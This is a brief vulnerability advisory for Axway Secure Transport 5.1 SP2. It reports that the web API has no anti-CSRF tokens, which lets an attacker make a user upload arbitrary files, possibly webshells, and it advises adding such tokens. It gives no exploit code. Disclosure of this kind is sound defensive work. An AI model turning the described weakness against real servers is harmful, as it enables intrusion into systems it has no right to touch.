Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF

It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.

Mitigation:

Organizations should ensure that anti-CSRF tokens are implemented in the web API.
